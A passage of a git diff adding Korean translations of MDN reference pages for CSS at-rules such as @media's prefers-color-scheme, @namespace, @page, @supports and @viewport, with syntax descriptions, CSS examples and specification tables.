+  <tr>
+   <td>{{SpecName('CSS5 Media Queries', '#at-media5', '@media')}}</td>
+   <td>Reinstates <code>light-level</code>, <code>inverted-colors</code> and Custom Media Queries, which were removed from Level 4.<br>
+    Adds <code>prefers-reduced-motion</code>, <code>prefers-reduced-transparency</code>, <code>prefers-contrast</code>, and <code>prefers-color-scheme</code> media features.</td>
+   <td><a href="https://github.com/w3c/csswg-drafts/issues">CSS Working Group drafts GitHub issues</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional', '#at-media', '@media')}}</td>
+   <td>Defines the basic syntax of the <code>@media</code> rule.</td>
+   <td><a href="https://github.com/w3c/csswg-drafts/issues">CSS Working Group drafts GitHub issues</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#media', '@media')}}</td>
+   <td>
+    <p>Adds <code>scripting</code>, <code>pointer</code>, <code>hover</code>, <code>update</code>, <code>overflow-block</code>, and <code>overflow-inline</code> media features.<br>
+     Deprecates all media types except for <code>screen</code>, <code>print</code>, <code>speech</code>, and <code>all</code>.<br>
+     Makes the syntax more flexible by adding, among other things, the <code>or</code> keyword.</p>
+   </td>
+   <td><a href="https://github.com/w3c/csswg-drafts/issues">CSS Working Group drafts GitHub issues</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#media0', '@media')}}</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}</td>
+   <td>Initial definition.</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.media")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries">미디어 쿼리 사용하기</a></li>
+ <li>JavaScript에서 <code>@media</code>에 접근할 때 사용할 수 있는 CSS 객체 모델 인터페이스 {{domxref("CSSMediaRule")}}</li>
+ <li><a href="/ko/docs/Web/CSS/Mozilla_Extensions#Media_features">Mozilla 미디어 특성 확장</a></li>
+ <li><a href="/ko/docs/Web/CSS/Webkit_Extensions#Media_features">WebKit 미디어 특성 확장</a></li>
+</ul>
diff --git a/files/ko/web/css/@media/prefers-color-scheme/index.html b/files/ko/web/css/@media/prefers-color-scheme/index.html
new file mode 100644
index 0000000000..1ce1a10a2b
--- /dev/null
+++ b/files/ko/web/css/@media/prefers-color-scheme/index.html
@@ -0,0 +1,89 @@
+---
+title: prefers-color-scheme
+slug: Web/CSS/@media/prefers-color-scheme
+tags:
+  - '@media'
+  - CSS
+  - Reference
+  - Web
+  - prefers-color-scheme
+translation_of: Web/CSS/@media/prefers-color-scheme
+---
+<p><strong><code>prefers-color-scheme</code></strong> <a href="/ko/docs/CSS">CSS</a> <a href="/ko/docs/Web/CSS/@media#Media_features">미디어 특성</a>은 사용자의 시스템이 라이트 테마나 다크 테마를 사용하는지 탐지하는 데에 사용됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>사용자가 시스템에 선호하는 테마를 알리지 않았음을 나타냅니다. 이 키워드는 <a href="https://drafts.csswg.org/mediaqueries-5/#boolean-context" id="ref-for-boolean-context④">boolean context</a>에서 <code>false</code>로 판정됩니다.</dd>
+ <dt><code><dfn>light</dfn></code></dt>
+ <dd>사용자가 시스템에 라이트 테마를 사용하는 것을 선호한다고 알렸음을 나타냅니다.</dd>
+ <dt><code><dfn>dark</dfn></code></dt>
+ <dd>사용자가 시스템에 다크 테마를 사용하는 것을 선호한다고 알렸음을 나타냅니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제는 검은 배경에 흰 텍스트를 가진 요소를 라이트 테마를 사용하는 사용자가 볼 경우 색을 반대로 해서 나타냅니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="themed"&gt;Theme&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.themed {
+  display: block;
+  width: 10em;
+  height: 10em;
+  background: black;
+  color: white;
+}
+
+@media (prefers-color-scheme: light) {
+  .themed {
+    background: white;
+    color: black;
+  }
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-color-scheme', 'prefers-color-scheme')}}</p>
+   </td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.prefers-color-scheme")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://stuffandnonsense.co.uk/blog/redesigning-your-product-and-website-for-dark-mode">Redesigning your product and website for dark mode</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/CSS/@media/")}}</div>
diff --git a/files/ko/web/css/@namespace/index.html b/files/ko/web/css/@namespace/index.html
new file mode 100644
index 0000000000..d4059df78e
--- /dev/null
+++ b/files/ko/web/css/@namespace/index.html
@@ -0,0 +1,78 @@
+---
+title: '@namespace'
+slug: Web/CSS/@namespace
+tags:
+  - At-rule
+  - CSS
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/@namespace
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>@namespace</code></strong>는 <a href="/ko/docs/Glossary/CSS">CSS</a> <a href="/ko/docs/Web/API/StyleSheet">스타일 시트</a>에서 사용되는 <a href="/ko/docs/Namespaces">XML 네임스페이스</a>를 정의하는 <a href="/ko/docs/Web/CSS/At-rule" title="CSS at-rules">at-규칙</a>입니다. 정의된 네임스페이스는 오직 그 네임스페이스 내의 요소를 선택만 하기 위해 <a href="/ko/docs/Web/CSS/Universal_selectors">universal</a>, <a href="/ko/docs/Web/CSS/Type_selectors">type</a> 및 <a href="/ko/docs/Web/CSS/Attribute_selectors">attribute</a> <a href="/ko/docs/Web/Guide/CSS/Getting_started/Selectors">선택자</a>를 제한하는 데 사용될 수 있습니다. <code>@namespace</code> 규칙은 보통 여러 네임스페이스(인라인 SVG 또는 MathML 있는 HTML5 또는 다양한 어휘를 섞는 XML 등)를 포함하는 문서를 처리하는 경우에만 유용합니다.</span></p>
+
+<p>어떤 <code>@namespace</code> 규칙이든 모든 <a href="/ko/docs/Web/CSS/%40charset">@charset</a> 및 <a href="/ko/docs/Web/CSS/%40import">@import</a> 규칙의 다음에 오고 스타일시트에서 모든 다른 at-규칙 및 <a href="/ko/docs/Web/API/CSSStyleDeclaration">스타일 선언</a>보다 앞서야 합니다.</p>
+
+<p><code>@namespace</code>는 스타일 시트를 위한 <strong>기본 네임스페이스</strong>를 정의하는 데 사용될 수 있습니다. 기본 네임스페이스가 정의된 경우, 모든 universal 및 type 선택자 (attribute 선택자는 아님, 아래 주의 참조) 는 그 네임스페이스 내 요소에만 적용됩니다.</p>
+
+<p><code>@namespace</code> 규칙은 또한 네임스페이스 접두어(<strong>namespace prefix</strong>)를 정의하는 데도 사용될 수 있습니다. universal, type 또는 attribute 선택자가 네임스페이스 접두어로 시작되는 경우, 그때 그 선택자는 요소 또는 attribute의 네임스페이스 <em>및</em> 이름이 일치하는 경우에만 일치합니다.</p>
+
+<p><a href="https://html.spec.whatwg.org/#foreign-elements" title="foreign elements">외부 요소</a>로 알려진 <a href="/ko/docs/Glossary/HTML5">HTML5</a>에서는, 자동으로 네임스페이스가 할당됩니다. 이는 HTML 요소는 마치 XHTML 네임스페이스 (<code>http://www.w3.org/1999/xhtml</code>) 에 있는 것처럼 행동하고, 문서 어디에든 <code>xmlns</code> attribute가 없을지라도, <a href="/ko/docs/Web/SVG/Element/svg">&lt;svg&gt;</a> 및 <a href="/ko/docs/Web/MathML/Element/math">&lt;math&gt;</a> 요소는 그들의 적절한 네임스페이스 (<code>http://www.w3.org/2000/svg</code> 및 <code>http://www.w3.org/1998/Math/MathML</code>) 가 할당됨을 뜻합니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> XML에서, 접두어가 직접 attribute (<em>가령</em>, <code>xlink:href</code>)에 정의되지 않는 한, 그 attribute은 네임스페이스가 없습니다. 다시 말해서, attribute은 그들이 붙은 요소의 네임스페이스를 상속받지 않습니다. 이 행동(behaviour)를 일치시키기 위해, CSS에서 기본 네임스페이스는 attribute 선택자에 적용되지 않습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 기본 네임스페이스 */
+@namespace url(<em>XML-namespace-URL</em>);
+@namespace "<em>XML-namespace-URL</em>";
+
+/* 접두어 붙은 네임스페이스 */
+@namespace <em>prefix</em> url(<em>XML-namespace-URL</em>);
+@namespace <em>prefix</em> "<em>XML-namespace-URL</em>";</pre>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">@namespace url(http://www.w3.org/1999/xhtml);
+@namespace svg url(http://www.w3.org/2000/svg);
+
+/* 이는 모든 XHTML &lt;a&gt; 요소와 일치합니다, XHTML이 접두어 붙지 않은 기본 네임스페이스이기에 */
+a {}
+
+/* 이는 모든 SVG &lt;a&gt; 요소와 일치합니다 */
+svg|a {}
+
+/* 이는 XHTML 및 SVG &lt;a&gt; 요소 둘 다와 일치합니다 */
+*|a {}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Namespaces', '#declaration', '@namespace')}}</td>
+   <td>{{Spec2('CSS3 Namespaces')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.namespace")}}</p>
diff --git a/files/ko/web/css/@page/index.html b/files/ko/web/css/@page/index.html
new file mode 100644
index 0000000000..dd9d2e2ac0
--- /dev/null
+++ b/files/ko/web/css/@page/index.html
@@ -0,0 +1,96 @@
+---
+title: '@page'
+slug: Web/CSS/@page
+tags:
+  - At-rule
+  - CSS
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/@page
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>@page</code></strong> CSS @규칙은 문서를 인쇄할 때 일부 CSS 속성을 수정하는 데 쓰입니다. <code>@page</code>로 모든 CSS 속성을 바꿀 수는 없습니다. 문서의 margin, orphan, widow(앞단에서 넘어온 짤막한 행) 및 page break만 바꿀 수 있습니다. 다른 CSS 속성을 바꾸려는 시도는 무시됩니다.</p>
+
+<pre class="brush: css">@page {
+  margin: 1cm;
+}
+
+@page :first {
+  margin: 2cm;
+}
+</pre>
+
+<p><code>@page</code> @규칙은 CSS 객체 모델 인터페이스 {{domxref("CSSPageRule")}}를 통해 액세스될 수 있습니다.</p>
+
+<div class="note"><strong>주의:</strong> W3C은 viewport 관련 {{cssxref("&lt;length&gt;")}} 단위, <code>vh</code>, <code>vw</code>, <code>vmin</code> 및 <code>vmax</code> 처리법을 논의 중입니다. 그 동안에 <code>@page</code> @규칙 내에서 사용하지 마세요.</div>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="서술자">서술자</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@page/size"><code>size</code></a></dt>
+ <dd>페이지 박스 내 포함 블록의 대상(target) 크기 및 방향을 지정합니다. 한 페이지 박스가 한 페이지 시트에 렌더링 되는 일반적인 경우에, 또한 대상(destination) 페이지 시트의 크기를 나타냅니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/@page/marks"><code>marks</code></a></dt>
+ <dd>문서에 crop 및/또는 registration 마크를 추가합니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/@page/bleed"><code>bleed</code></a></dt>
+ <dd>페이지 렌더링이 잘리는(clip) 페이지 박스 너머 범위를 지정합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>예제를 위한 <code>@page</code>의 다양한 <a href="/ko/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">가상 클래스</a> 참조해 주세요.</p>
+
+<ul>
+ <li>{{Cssxref(":blank")}}</li>
+ <li>{{Cssxref(":first")}}</li>
+ <li>{{Cssxref(":left")}}</li>
+ <li>{{Cssxref(":right")}}</li>
+ <li>{{Cssxref(":recto")}} {{experimental_inline}}</li>
+ <li>{{Cssxref(":verso")}} {{experimental_inline}}</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#logical-page', ':recto and :verso')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td><code>:recto</code> 및 <code>:verso</code> 페이지 선택자 추가</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>{{SpecName('CSS2.1')}}에서 변화 없음, 더 많은 CSS at-규칙이 <code>@page</code> 내에 사용될 수 있지만.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', '@page')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.page")}}</p>
diff --git a/files/ko/web/css/@supports/index.html b/files/ko/web/css/@supports/index.html
new file mode 100644
index 0000000000..e2d9c44ec3
--- /dev/null
+++ b/files/ko/web/css/@supports/index.html
@@ -0,0 +1,193 @@
+---
+title: '@supports'
+slug: Web/CSS/@supports
+tags:
+  - At-rule
+  - CSS
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/@supports
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>@supports</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> <a href="/ko/docs/Web/CSS/At-rule" title="en/CSS/At-rule">@규칙</a>은 주어진 하나 이상의 CSS 기능을 브라우저가 지원하는지에 따라 다른 스타일 선언을 할 수 있는 방법을 제공합니다.</span> 이를 기능 쿼리(feature query)라고 부릅니다. <code>@supports</code>는 스타일의 최상위 단계, 또는 다른 <a href="/ko/docs/Web/CSS/At-rule#조건부_그룹_규칙">조건부 그룹 규칙</a>에 중첩해 위치할 수 있습니다.</p>
+
+<pre class="brush: css; no-line-numbers">@supports (display: grid) {
+  div {
+    display: grid;
+  }
+}</pre>
+
+<pre class="brush: css; no-line-numbers">@supports not (display: grid) {
+  div {
+    float: right;
+  }
+}</pre>
+
+<p>JavaScript에서, <code>@supports</code>는 CSS 객체 모델 인터페이스 {{DOMxRef("CSSSupportsRule")}}로 접근할 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>@supports</code> @규칙은 하나의 선언 블록을 특정 기능의 브라우저 지원 조건과 연결할 수 있습니다.<em> 지원 조건은 하나 이상의 키-값 쌍을 논리곱(<code>and</code>), 논리합(<code>or</code>), 부정(<code>not</code>)으로 연결해 구성합니다. 괄호로 묶어 우선순위를 </em>지정할 수도 있습니다.</p>
+
+<h3 id="선언_구문">선언 구문</h3>
+
+<p>가장 기본적인 지원 조건은 단순한 선언(속성 이름과 그 값)입니다. 선언은 괄호로 묶여야 합니다. 다음 예제는 브라우저가 {{cssxref("transform-origin")}} 속성의 값으로 <code>5% 5%</code>가 유효하다고 여길 때 통과합니다.</p>
+
+<pre class="brush:css">@supports (transform-origin: 5% 5%) {}</pre>
+
+<h3 id="함수_구문">함수 구문</h3>
+
+<p>두 번째 기본적인 지원 조건은 지원 함수로, 모든 브라우저가 함수 구문을 지원하지만 지원 함수 자체는 아직 표준화 중입니다.</p>
+
+<h4 id="selector()" name="selector()"><code>selector()</code> {{experimental_inline}}</h4>
+
+<p>브라우저가 주어진 선택자를 지원하는지 판별합니다. 다음 예제는 브라우저가 <a href="/ko/docs/Web/CSS/Child_combinator">자식 결합자</a>를 지원할 때 통과합니다.</p>
+
+<pre class="brush: css">@supports selector(A &gt; B) {}
+</pre>
+
+<h3 id="not_연산자"><code>not</code> 연산자</h3>
+
+<p><code>not</code> 연산자를 어떤 표현식 앞에 붙이면 그 반대 결과를 낳는 새로운 표현식을 생성합니다. 다음 예제는 브라우저가 {{cssxref("transform-origin")}} 속성의 값으로 <code>10em 10em 10em</code>이 <strong>유효하지 않다</strong>고 여길 때 통과합니다.</p>
+
+<pre class="brush:css">@supports not (transform-origin: 10em 10em 10em) {}</pre>
+
+<p>다른 연산자와 마찬가지로, 선언의 복잡도와 관계 없이 <code>not</code> 연산자를 적용할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.</p>
+
+<pre class="brush:css">@supports not (not (transform-origin: 2px)) {}
+@supports (display: grid) and (not (display: inline-grid)) {}</pre>
+
+<div class="note style-wrap">
+<p><strong>참고:</strong> 최상위 <code>not</code> 연산자는 괄호로 감싸지 않아도 괜찮습니다. <code>and</code>, <code>or</code> 등 다른 연산자와 함께 사용할 때는 괄호가 필요합니다.</p>
+</div>
+
+<h3 id="and_연산자"><code>and</code> 연산자</h3>
+
+<p><code>and</code> 연산자는 두 표현식의 논리곱으로부터 새로운 표현식을 생성합니다. 새로운 표현식은 두 구성 표현식이 <strong>모두 참일 때만</strong> 참을 반환합니다. 다음 예제는 두 개의 구성 표현식이 동시에 참이어야만 통과합니다.</p>
+
+<pre class="brush: css">@supports (display: table-cell) and (display: list-item) {}</pre>
+
+<p>다수의 논리곱은 괄호 없이 병치할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.</p>
+
+<pre class="brush: css">@supports (display: table-cell) and (display: list-item) and (display:run-in) {}
+@supports (display: table-cell) and ((display: list-item) and (display:run-in)) {}</pre>
+
+<h3 id="or_연산자"><code>or</code> 연산자</h3>
+
+<p><code>or</code> 연산자는 두 표현식의 논리합으로부터 새로운 표현식을 생성합니다. 새로운 표현식은 두 구성 표현식 중 <strong>어느 한 쪽이라도 참이면</strong> 참을 반환합니다. 다음 예제는 두 개의 구성 표현식 중 하나라도 참이면 통과합니다.</p>
+
+<pre class="brush:css;">@supports (transform-style: preserve) or (-moz-transform-style: preserve) {}
+</pre>
+
+<p>다수의 논리합은 괄호 없이 병치할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.</p>
+
+<pre class="brush:css">@supports (transform-style: preserve) or (-moz-transform-style: preserve) or
+          (-o-transform-style: preserve) or (-webkit-transform-style: preserve) {}
+
+@supports (transform-style: preserve-3d) or ((-moz-transform-style: preserve-3d) or
+          ((-o-transform-style: preserve-3d) or (-webkit-transform-style: preserve-3d))) {}</pre>
+
+<div class="note style-wrap">
+<p><strong>참고</strong>: <code>and</code>와 <code>or</code> 연산자를 같이 사용할 때는 괄호를 사용해 연산자 적용 순서를 정의해야 합니다. 그렇지 않으면 조건이 유효하지 않으므로 @-규칙 전체를 무시합니다.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="주어진_CSS_속성의_지원_여부_판별">주어진 CSS 속성의 지원 여부 판별</h3>
+
+<pre class="brush:css;">@supports (animation-name: test) {
+    … /* 애니메이션 속성을 접두사 없이 사용할 수 있을 때 CSS 적용 */
+    @keyframes { /* 다른 @-규칙을 중첩 가능 */
+      …
+    }
+}
+</pre>
+
+<h3 id="주어진_CSS_속성_및_접두사_버전의_지원_여부_판별">주어진 CSS 속성 및 접두사 버전의 지원 여부 판별</h3>
+
+<pre class="brush:css;">@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or
+            (-ms-perspective: 10px) or (-o-perspective: 10px) ) {
+    … /* 접두사가 붙더라도 3D 변형을 지원하면 CSS 적용 */
+}
+</pre>
+
+<h3 id="특정_CSS_속성의_미지원_여부_판별">특정 CSS 속성의 미지원 여부 판별</h3>
+
+<pre class="brush:css;">@supports not ((text-align-last: justify) or (-moz-text-align-last: justify) ){
+    … /* text-align-last: justify를 대체할 CSS */
+}</pre>
+
+<h3 id="사용자_정의_속성_지원_여부_판별">사용자 정의 속성 지원 여부 판별</h3>
+
+<pre class="brush: css">@supports (--foo: green) {
+  body {
+    color: var(--varName);
+  }
+}</pre>
+
+<h3 id="선택자_지원_여부_판별_(예_CSSxRef(is_is()))">선택자 지원 여부 판별 (예: {{CSSxRef(":is", ":is()")}})</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<pre class="brush: css">/* :is()를 지원하지 않는 브라우저에서는 무시함 */
+:is(ul, ol) &gt; li {
+  … /* :is() 선택자를 지원할 때 적용할 CSS */
+}
+
+@supports not selector(:is(a, b)) {
+  /* :is()를 지원하지 않을 때 대체할 CSS */
+  ul &gt; li,
+  ol &gt; li {
+    … /* :is()를 지원하지 않을 때 적용할 CSS */
+  }
+}
+
+@supports selector(:nth-child(1n of a, b)) {
+  /* @supports로 먼저 묶지 않으면 :nth-child()의 of 구문을
+     지원하지 않는 브라우저에서 스타일을 잘못 적용할 수 있음 */
+  :is(:nth-child(1n of ul, ol) a,
+  details &gt; summary) {
+    … /* :is() 선택자와 :nth-child()의 of 구문을 지원할 때 적용할 CSS */
+  }
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Conditional 4", "#at-supports", "@supports")}}</td>
+   <td>{{Spec2("CSS Conditional 4")}}</td>
+   <td>Adds the <code>selector()</code>function.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional", "#at-supports", "@supports")}}</td>
+   <td>{{Spec2("CSS3 Conditional")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.supports")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSSOM 클래스 {{ domxref("CSSSupportsRule") }}과, JavaScript를 통해 동일한 판별을 수행할 수 있는 {{ domxref("CSS.supports") }} 메서드</li>
+</ul>
diff --git a/files/ko/web/css/@viewport/height/index.html b/files/ko/web/css/@viewport/height/index.html
new file mode 100644
index 0000000000..4a97de7c7f
--- /dev/null
+++ b/files/ko/web/css/@viewport/height/index.html
@@ -0,0 +1,75 @@
+---
+title: height
+slug: Web/CSS/@viewport/height
+tags:
+  - '@viewport'
+  - CSS
+  - CSS Descriptor
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p><code><strong>height</strong></code> CSS 서술자(descriptor)는 뷰포트의 {{cssxref("@viewport/min-height", "min-height")}} 및 {{cssxref("@viewport/max-height", "max-height")}} 둘 다 설정하기 위한 단축(shorthand) 설명자입니다. 뷰포트 길이 값 하나를 주어 최소 높이 및 최대 높이 둘 다를 주어진 값으로 설정합니다.</p>
+
+<p>뷰포트 값이 두 개 주어진 경우, 첫 번째 값은 최소 높이로 두 번째 값은 최대 높이로 설정합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 한 값 */
+height: auto;
+height: 320px;
+height: 15em;
+
+/* 두 값 */
+height: 320px 200px;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>다른 CSS 설명자의 값에서 계산된 사용값(used value).</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>음이 아닌 절대 또는 상대 길이.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>가로 및 세로 길이 각각을 위한 줌 배율(factor) 1.0에서 초기 뷰포트의 너비 또는 높이에 대한 퍼센트 값. 음이 아니어야 합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">@viewport {
+  height: 500px;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.viewport.height")}}</p>
diff --git a/files/ko/web/css/@viewport/index.html b/files/ko/web/css/@viewport/index.html
new file mode 100644
index 0000000000..e77278c61e
--- /dev/null
+++ b/files/ko/web/css/@viewport/index.html
@@ -0,0 +1,120 @@
+---
+title: '@viewport'
+slug: Web/CSS/@viewport
+tags:
+  - Adaptation
+  - At-rule
+  - CSS
+  - Device
+  - NeedsContent
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/@viewport
+---
+<div>{{SeeCompatTable}}{{CSSRef}}</div>
+
+<p>The<strong> <code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> lets you configure the {{glossary("viewport")}} through which the document is viewed. It's primarily used for mobile devices, but is also used by desktop browsers that support features like "snap to edge" (such as Microsoft Edge).</p>
+
+<p>Lengths specified as percentages are calculated relative to the <strong>initial viewport</strong>, which is the viewport before any user agent or authored styles have had an opportunity to adjust the viewport. This is typically based on the size of the window on desktop browsers that aren't in full screen mode.</p>
+
+<p>On mobile devices (or desktop devices that are in full screen mode), the initial viewport is usually the portion of a device's screen that is available for application use. This may be either the full screen or the full screen area minus areas controlled by the operating system (such as a taskbar) or the application-available screen area (either the full screen or the screen minus any areas owned by the operating system or other applications).</p>
+
+<pre class="brush: css no-line-numbers">@viewport {
+  width: device-width;
+}</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>The at-rule contains a set of nested {{glossary("descriptor (CSS)", "descriptor")}}s in a CSS block that is delimited by curly braces.</p>
+
+<p>A <em>zoom factor</em> of <code>1.0</code> or <code>100%</code> corresponds to no zooming. Larger values zoom in. Smaller values zoom out.</p>
+
+<h3 id="Descriptors">Descriptors</h3>
+
+<p>Browser support for <code>@viewport</code> is weak at this time, with support being largely available in Internet Explorer and Edge. Even in those browsers, only a small number of descriptors are available. Browsers will ignore <code>@viewport</code> if they don't support it, and will ignore any descriptors that they don't recognize.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-width"><code>min-width</code></a></dt>
+ <dd>Used in the determination of the width of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-width"><code>max-width</code></a></dt>
+ <dd>Used in the determination of the width of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/width"><code>width</code></a></dt>
+ <dd>A shorthand descriptor for setting both <code>min-width</code> and <code>max-width</code>.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-height"><code>min-height</code></a></dt>
+ <dd>Used in the determination of the height of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-height"><code>max-height</code></a></dt>
+ <dd>Used in the determination of the height of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/height"><code>height</code></a></dt>
+ <dd>A shorthand descriptor for setting both <code>min-height</code> and <code>max-height</code>.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/zoom"><code>zoom</code></a></dt>
+ <dd>Sets the initial zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-zoom"><code>min-zoom</code></a></dt>
+ <dd>Sets the minimum zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-zoom"><code>max-zoom</code></a></dt>
+ <dd>Sets the maximum zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/user-zoom"><code>user-zoom</code></a></dt>
+ <dd>Controls whether or not the user should be able to change the zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/orientation"><code>orientation</code></a></dt>
+ <dd>Controls the document's orientation.</dd>
+ <dt>{{cssxref("@viewport/viewport-fit", "viewport-fit")}}</dt>
+ <dd>Controls the display of the document on non-rectangular displays.</dd>
+</dl>
+
